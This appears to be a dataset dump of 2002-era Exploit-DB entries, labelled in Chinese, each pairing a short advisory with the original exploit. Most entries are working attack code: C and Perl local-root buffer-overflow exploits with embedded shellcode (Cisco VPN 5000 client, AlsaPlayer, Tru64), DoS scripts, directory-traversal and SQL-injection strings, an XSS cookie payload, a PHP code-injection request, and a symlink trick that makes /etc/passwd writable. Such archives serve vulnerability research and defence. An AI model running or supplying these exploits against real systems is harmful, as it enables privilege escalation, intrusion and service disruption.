QLWD/code_shield huggingface dataset:
标题: Cisco VPN 5000 Client - Buffer Overrun (2) EDB-ID: 21806 CVE: 2002-1492 类型: LOCAL 平台: UNIX 发布日期: 2002-09-18 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5734/info
 
Buffer overrun vulnerabilities have been reported in the Cisco VPN 5000 UNIX clients available for Linux and Solaris systems. The condition affects the binaries 'close_tunnel' and 'open_tunnel', both installed setuid root by default. Malicious local users may exploit these vulnerabilities to gain superuser privileges on the affected host.

/*
 * Cisco VPN 5000 Linux client version 5.1.5 local root exploit 
 *
 * By zillion[at]safemode.org 09/2002 
 * 
 * Greets to the 0dd people ;p
 *
 */

#include <unistd.h>
#include <sys/stat.h>
#include <string.h>

#define BUFFER_SIZE 2504
#define NOP 0x90
#define RET 0xbffff0e0

char shellcode[]=

        /* setresuid(0,0,0) &&  execve("/bin/sh",["/bin/sh"],0); */
        "\xeb\x26\x5e\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb0\xa4\xcd\x80"
        "\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd5\xff\xff\xff"
        "\x2f\x62\x69\x6e\x2f\x73\x68";

void print_error(char * burb) { 
        printf(" Error: %s !\n",burb); exit(0); 
}

void usage(char *progname) {
        printf("\nDefault: %s  -f /path/to/close_tunnel",progname);
        printf("\nOption : %s  -o <offset>\n\n",progname);
        exit(0);
}

int main(int argc, char **argv){

char buffer[BUFFER_SIZE];
char file[30];
long retaddress;
int arg,offset=600;

struct stat sbuf;

if(argc < 2) { usage(argv[0]); }

while ((arg = getopt (argc, argv, "f:o:")) != -1){ 
      switch (arg){ 
      case 'f': 
        strncpy(file,optarg,sizeof(file));
        if(stat(argv[2], &sbuf)) { print_error("No such file");}
        break; 
      case 'o':       
        offset = atoi(optarg);
        if(offset < 0) { print_error("Offset must be positive");}
        break; 
      default :       
        usage(argv[0]); 
     } 
} 

retaddress = (RET - offset);
memset(buffer,NOP,BUFFER_SIZE);
memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);

/* Overwrite EBP and EIP */
*(long *)&buffer[BUFFER_SIZE - 8]  = retaddress;
*(long *)&buffer[BUFFER_SIZE - 4]  = retaddress;

if(execl(file,file,"-d",buffer,NULL) != 0) {
        print_error("Could not execute file");
}

return 0;

} URL: https://www.exploit-db.com/exploits/21806
标题: Trillian 0.73/0.74 - IRC JOIN Buffer Overflow EDB-ID: 21813 CVE: 2002-1486 类型: DOS 平台: WINDOWS 发布日期: 2002-09-20 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5765/info

The Trillian IRC module does not sufficiently check bounds on JOIN commands. A malicious IRC server may potentially exploit this condition to cause a denial of service or execute arbitrary code with the privileges of the client.

This issue was reported for Trillian versions 0.73 and 0.74. Earlier versions may also be affected. 

/* Trillian-Join.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian Join Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5 Commandline Tools.

   This Example Will Just DoS The Trillian Client,
   not particularly useful, just proves the flaw exists.

*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define MSG1 ":server 001 target :target\n:target!ident@address JOIN :"

int main() {

        SOCKET TempSock = SOCKET_ERROR;
        WSADATA WsaDat;
        SOCKADDR_IN Sockaddr;
        int nRet;
        char payload[300];

        printf("\nTrillian Join Flaw\n");
        printf("----------------------\n");
        printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
        printf("Tested On Version .74 and .73\nListening On Port 6667 For
Connections\n\n");

        if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
                printf("ERROR: WSA Initialization failed.");
                return 0;
        }


        /* Create Socket */
        s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) {
                printf("ERROR: Could Not Create Socket. Exiting\n");
                WSACleanup();
                return 0;
        }

        Sockaddr.sin_port = htons(6667);
        Sockaddr.sin_family = AF_INET;
        Sockaddr.sin_addr.s_addr  = INADDR_ANY;


        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
        if (nRet == SOCKET_ERROR) {
                printf("ERROR Binding Socket");
                WSACleanup();
                return 0;
        }

        /* Make Socket Listen */
        if (listen(s, 10) == SOCKET_ERROR) {
                printf("ERROR: Couldnt Make Listening Socket\n");
                WSACleanup();
                return 0;
        }

        while (TempSock == SOCKET_ERROR) {
              TempSock = accept(s, NULL, NULL);
        }

        printf("Client Connected, Sending Payload\n");

        send(TempSock,MSG1,strlen(MSG1),0);
        memset(payload,'A',300);
        send(TempSock,payload,strlen(payload),0);
        send(TempSock,"\n",1,0);

        printf("Exiting\n");
        sleep(100);
        WSACleanup();
        return 0;
} URL: https://www.exploit-db.com/exploits/21813
标题: AlsaPlayer 0.99.71 - Local Buffer Overflow EDB-ID: 21814 CVE: 2002-1896 类型: LOCAL 平台: LINUX 发布日期: 2002-09-20 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5767/info

Alsaplayer is a PCM player that utilizes the ALSA libraries and drivers. It is availabe for Linux and Unix platforms.

A vulnerability has been discovered in Alsaplayer. By specifying an overly long "add-on path", it is possible for an attacker to overrun the buffer, potentially allowing for execution of attacker-supplied code.

It should be noted that although Alsaplayer is not installed setuid by default, it is common practice for users to add a setuid bit to obtain certain functionality. 

/*
 * Alsaplayer exploit for a buffer overflow found by KF (snosoft.com)
 *
 * This program is not installed with special permissions by default.
 * However, the author himself does recommend to do so under certain
 * conditions:
 *
 * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000656.html
 * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000657.html
 *
 * Author: zillion[at]safemode.org (09/2002)
 *
 * Tested on Red Hat 7.3 linux with alsaplayer-devel-0.99.71-1
 *
 */

#include <unistd.h>
#include <sys/stat.h>
#include <string.h>

#define BUFFER_SIZE 1056
#define NOP 0x90
#define RET 0xbfffe440

char shellcode[]=

"\xeb\x26\x5e\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb0\xa4\xcd\x80"
"\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd5\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68";

void print_error(char * burb) {
  printf(" Error: %s !\n",burb); exit(0);
}

void usage(char *progname) {
  printf("\n*--- -- -  Alsaplayer b0f exploit - -- ---*\n");
  printf("\nDefault: %s  -f /path/to/alsaplayer",progname);
  printf("\nOption : %s  -o <offset>\n\n",progname);
  exit(0);
}

int main(int argc, char **argv){

  char buffer[BUFFER_SIZE];
  char file[30];
  long retaddress;
  int arg,offset=500;

  struct stat sbuf;

  if(argc < 2) { usage(argv[0]); }

  while ((arg = getopt (argc, argv, "f:o:")) != -1){
    switch (arg){
    case 'f':
      strncpy(file,optarg,sizeof(file));
      if(stat(argv[2], &sbuf)) { print_error("No such file");}
      break;
    case 'o':
      offset = atoi(optarg);
      if(offset < 0) { print_error("Offset must be positive");}
      break;
    default :
      usage(argv[0]);
    }
  }

  retaddress = (RET - offset);
  memset(buffer,NOP,BUFFER_SIZE);
  memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);

  /* Overwrite EBP and EIP */
  *(long *)&buffer[BUFFER_SIZE - 8]  = retaddress;
  *(long *)&buffer[BUFFER_SIZE - 4]  = retaddress;

  if(execl(file,file,"-p",buffer,NULL) != 0) {
    print_error("Could not execute alsaplayer ");
  }

  return 0;

} URL: https://www.exploit-db.com/exploits/21814
标题: ASCPU 0.60 Kernel - Memory File Descriptor Leakage EDB-ID: 21797 CVE: 2002-1125 类型: LOCAL 平台: UNIX 发布日期: 2002-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5716/info

It has been reported that ascpu is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through ascpu. The program that is executed can be specified by the attacker at the command line.

ascpu -exe "dummy&/usr/local/sbin/lsof|grep dummy|grep mem" URL: https://www.exploit-db.com/exploits/21797
标题: DB4Web 3.4/3.6 - Connection Proxy EDB-ID: 21801 CVE: 2002-1484 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/5725/info

DB4Web is an application server that allows read and write access to relational databases and other information sources, via the web. The application is available for Windows, Linux, and various Unix platforms.

By requesting a specially crafted URL, it is possible to initiate a TCP connect from the vulnerable server to a remote IP address and arbitrary port.

The server will then produce a debug page, which can be used to determine port status on the scanned host.

http://127.0.0.1/DB4Web/172.31.93.30:22/foo URL: https://www.exploit-db.com/exploits/21801
标题: WMNet2 1.0 6 - Kernel Memory File Descriptor Leakage EDB-ID: 21799 CVE: 2002-1125 类型: LOCAL 平台: FREEBSD 发布日期: 2002-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5719/info

It has been reported that wmnet2 is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through wmnet2. The program that is executed can be specified by the attacker at the command line.

bash-2.05a$ wmnet2 -e "dummy&/usr/local/sbin/lsof|grep
dummy|grep mem"
wmnet: using kmem driver to monitor ec0
dummy 584 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 584 dim 4r VCHR 2,1 0xc037cb8f 21145 /dev/kmem URL: https://www.exploit-db.com/exploits/21799
标题: BubbleMon 1.x Kernel - Memory File Descriptor Leakage EDB-ID: 21796 CVE: 2002-1125 类型: LOCAL 平台: UNIX 发布日期: 2002-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5714/info

It has been reported that BubbleMon is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through BubbleMon. The program that is executed can be specified by the attacker at the command line.

bubblemon "dummy&/usr/local/sbin/lsof|grep dummy|grep mem" URL: https://www.exploit-db.com/exploits/21796
标题: DB4Web 3.4/3.6 - File Disclosure EDB-ID: 21800 CVE: 2002-1483 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/5723/info

DB4Web is an application server that allows read and write access to relational databases and other information sources, via the web. The application is available for Windows, Linux, and various Unix platforms.

A directory traversal bug exists in DB4Web.

By passing a maliciously crafted query to the application, an attacker can potentially gain access to arbitrary system files. This is due to the application insufficiently validating the user supplied input.

On MS Windows systems the URL to retrieve the boot.ini file would
look like:
http://db4web.server.system/scripts/db4web_c.exe/dbdirname/c%3A%5Cboot.ini

On Linux/Unix servers the following URL will show /etc/hosts:
http://db4web.server.system/cgi-bin/db4web_c/dbdirname//etc/hosts URL: https://www.exploit-db.com/exploits/21800
标题: Alleged Outlook Express 5/6 Link - Denial of Service EDB-ID: 21789 CVE: 2002-2164 类型: DOS 平台: WINDOWS 发布日期: 2002-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5682/info

Reportedly, when decoding a HTML email, Outlook Express will stop responding upon encountering a <A HREF> link longer than 4095 characters. It is not confirmed why this behaviour occurs.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21789.zip URL: https://www.exploit-db.com/exploits/21789
标题: Savant Web Server 3.1 - File Disclosure EDB-ID: 21794 CVE: 2002-2145 类型: REMOTE 平台: WINDOWS 发布日期: 2002-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/5709/info

Savant Webserver is vulnerable to an input validation bug, that could allow malicious users access to password protected folders. 

It should be noted that versions below 3.1 may also be vulnerable to this issue.

http://host/password_folder.
"GET /password_folder / HTTP/1.0" <-- use with telnet
http://host/password_folder%2e
http://host/password_folder%20 URL: https://www.exploit-db.com/exploits/21794
标题: WMMon 1.0 b2 - Memory Character File Open File Descriptor Read EDB-ID: 21798 CVE: 2002-1125 类型: LOCAL 平台: FREEBSD 发布日期: 2002-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5718/info

It has been reported that wmmon is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through wmmon. The program that is executed can be specified by the attacker at the command line.

bash-2.05a$ cat .wmmonrc
left "/home/dim/dummy"
bash-2.05a$ wmmon &amp;
[1] 793
bash-2.05a$ Monitoring 5 devices for activity.
current stat is :1

bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem
dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem URL: https://www.exploit-db.com/exploits/21798
标题: PlanetWeb 1.14 - GET Buffer Overflow EDB-ID: 21795 CVE: 2002-1489 类型: DOS 平台: WINDOWS 发布日期: 2002-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5710/info

PlanetWeb is a commercially available web server distributed by PlanetDNS. It is available for the Microsoft Windows platform.

PlanetWeb is vulnerable to a buffer overflow condition when handling GET requests of excessive length. Upon receiving a GET request containing a 1024 byte or greater URL, an exploitable buffer overflow occurs. 

This may result in the remote execution of arbitrary code within the context of the web server process.

#!/usr/bin/perl
# PlanetWeb Software perl exploit
# by UkR-XblP / UkR security team
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 vulnurable_server
..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto     => "tcp",
                                  PeerAddr  => $host,
                                  PeerPort  => "http(80)",
                                  );
unless ($remote) { die "cannot connect to http daemon on
$host" }
$xblp = "A" x 1024;
$exploit = "GET /".$xblp." HTTP/1.0\n\n";
$remote->autoflush(1);
print $remote $exploit;
close $remote; URL: https://www.exploit-db.com/exploits/21795
标题: Savant Web Server 3.1 - Malformed Content-Length Denial of Service EDB-ID: 21792 CVE: 2002-1828 类型: DOS 平台: WINDOWS 发布日期: 2002-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/5707/info

Savant Webserver is prone to a denial of service attack, when processing a negative integer located in a users Content-Length value.

It should be noted that versions below 3.1 may also be vulnerable to this issue. 

GET / HTTP/1.0
Content-Length: -1 URL: https://www.exploit-db.com/exploits/21792
标题: Enterasys SSR8000 SmartSwitch - Port Scan Denial of Service EDB-ID: 21791 CVE: 2002-1501 类型: DOS 平台: HARDWARE 发布日期: 2002-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/5703/info

The SSR8000 is a SmartSwitch distributed and maintained by Enterasys.

It has been discovered that SSR8000 switches react unpredictably when portscanned. When these switches are scanned using specific types of TCP traffic, and scanned on certain ports, the switch becomes unstable. It has been reported that this can be reproduced consistently to cause the switch to crash. 

nmap -PT 10.2.1.1 -p '15077-15078' URL: https://www.exploit-db.com/exploits/21791
标题: BRU 17.0 - XBRU Insecure Temporary File EDB-ID: 21793 CVE: 2002-1512 类型: LOCAL 平台: LINUX 发布日期: 2002-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/5708/info

BRU is a backup and restore utility distributed by The Tolis Group. This problem affects the utility on the Linux platform.

xbru does not properly check for the existence of temporary files prior to execution. Because of this, it is possible for a local user to create symbolic links to other files, which will be overwritten by the BRU user. As BRU is typically run by the root user, this could result in the overwriting of root-owned files. 

ln -s /tmp/clobber /tmp/xbru_dscheck.dd

ln -s /etc/log.d/scripts/logfiles/xferlog/'`cd etc;chmod 666 passwd #`' /tmp/xbru_dscheck.dd URL: https://www.exploit-db.com/exploits/21793
标题: PHPGB 1.1/1.2 - PHP Code Injection EDB-ID: 21783 CVE: 2002-1481 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5679/info

phpGB is subject to a PHP code injection vulnerability.

After bypassing authentication it is possible to inject code into the guestbook configuration file (config.php) by supplying malicious parameters for the savesettings.php script. The configuration file is referenced in most of the other guestbook scripts, so each time one of the scripts is accessed the attacker-supplied PHP code will be executed.

telnet example.com 80\n
POST /phpGB/admin/savesettings.php HTTP/1.0\n
Content-Type: application/x-www-form-urlencoded\n
Content-Length: 123\n
dbpassword=%22%3Bphpinfo%28%29%3B%24a%3D%22&toolbar=1
&messenger=1&smileys=1&title=1&db_session_handler=0
&all_in_one=0&test=\n
\n URL: https://www.exploit-db.com/exploits/21783
标题: phpGB 1.1 - HTML Injection EDB-ID: 21780 CVE: 2002-1480 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5676/info

phpGB is subject to HTML injection attacks.

phpGB fails to check for the presence of HTML tags when generating guestbook entries. It is reported that an attacker may inject HTML and script code into guestbook entries, which will be executed in the web client of the administrative guestbook user when the admin attempts to delete the entry. 

Enter the following guestbookentry:

"delete me <script>alert(document.cookie)</script>" URL: https://www.exploit-db.com/exploits/21780
标题: phpGB 1.x - SQL Injection EDB-ID: 21778 CVE: 2002-1482 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5673/info

phpGB is vulnerable to a SQL injection vulnerability.

The cause of the issue is that the bulletin board relies on the PHP magic_quotes_gpc directive to sanitize variables that are used in SQL queries.

If magic_quotes_gpc is not enabled, then it will be possible for attackers to mount SQL injection attacks through the gestbook. SQL injection may allow attackers to corrupt the database. It is also possible to exploit this issue to gain administrative guestbook privileges.

Use an existing administrator name (default is admin) and use the
following password:
"' OR 'a'='a" URL: https://www.exploit-db.com/exploits/21778
标题: WoltLab Burning Board 2.0 - SQL Injection EDB-ID: 21779 CVE: 2002-1505 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5675/info

WoltLab is prone to SQL injection attacks. This is due to insufficient sanitization of parameters handled by the board.php script, which may be supplied externally via the query string in a web request.

The logic of a SQL query made by the script may be modified, resulting in the potential for database corruption. It has been demonstrated that it is possible to exploit this condition to gain administrative privileges within the bulletin board system. 

board.php?boardid=[boardid]%27,%20userid=%27[victims userid, 1 is
usually an admin]&sid=[attackers session-id] URL: https://www.exploit-db.com/exploits/21779
标题: HP Tru64 4.0/5.0/5.1 - _XKB_CHARSET Local Buffer Overflow EDB-ID: 21774 CVE: 2002-1605 类型: LOCAL 平台: UNIX 发布日期: 2002-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/5648/info

Tru64 is a commercially available Unix operating system originally developed by Digital. It is distributed and maintained by HP.

A buffer overflow has been discovered in the _XKB_CHARSET library. A number of programs depend on the library, including dxconsole, dxpause and dtsession. Because of this flaw, it may be possible for a local user to execute arbitrary instructions. This could lead to the execution of attacker-supplied code, and elevated privileges. 

#!/usr/bin/perl -w
#
# Tru64 5.1 _XKB_CHARSET
#
# stripey (stripey@snosoft.com) - 10/07/2002
#                                 

$tgts{"0"} = pack("l",0x40010250).":/usr/bin/X11/dxconsole:uid=root";
$tgts{"1"} = pack("l",0x40012584).":/usr/bin/X11/dxpause:uid=root";
$tgts{"2"} = pack("l",0x400101e4).":/usr/dt/bin/dtsession:euid=root";
                                  
unless (($target,$offset,$align) = @ARGV,$align) {           
                                  
        print "-"x72;
        print "\n      Tru64 _XKB_CHARSET overflow, stripey\@snosoft.com, 03/07/2002\n";
        print "-"x72;
        print "\n\nUsage: $0 <target> <offset> <align>\n\nTargets:\n\n";
                                  
        foreach $key (sort(keys %tgts)) {
                ($a,$b,$c) = split(/\:/,$tgts{"$key"});
                print "\t$key. $b ( $c )\n";
        }
       
        print "\n";
        exit 1;
}             

($a,$b) = split(/\:/,$tgts{"$target"});
                                  
print "*** Target: $b, Offset: $offset, Align: $align ***\n\n";
                                  
$ret = pack("ll",(unpack("l",$a)+$offset), 0x1);              
                                  
$sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
$sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
$sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
$sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
$sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
$sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
$sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
$sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26";
$sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
$sc .= "\x20\x35\x60\x42\xff\xff\xff\xff";               
                                  
$buf_a  = "A"x256;
$buf_a .= $ret;

$buf_b  = "B"x$align;
if ($target eq "2" ) {     
        $buf_b .= pack("l",0x47ff041f)x56;
} else {
        $buf_b .= pack("l",0x47ff041f)x3750;
}
$buf_b .= $sc;                        
    
$ENV{"_XKB_CHARSET"} = $buf_a;
$ENV{"HOME"} = $buf_b;       
                    
exec("$b"); URL: https://www.exploit-db.com/exploits/21774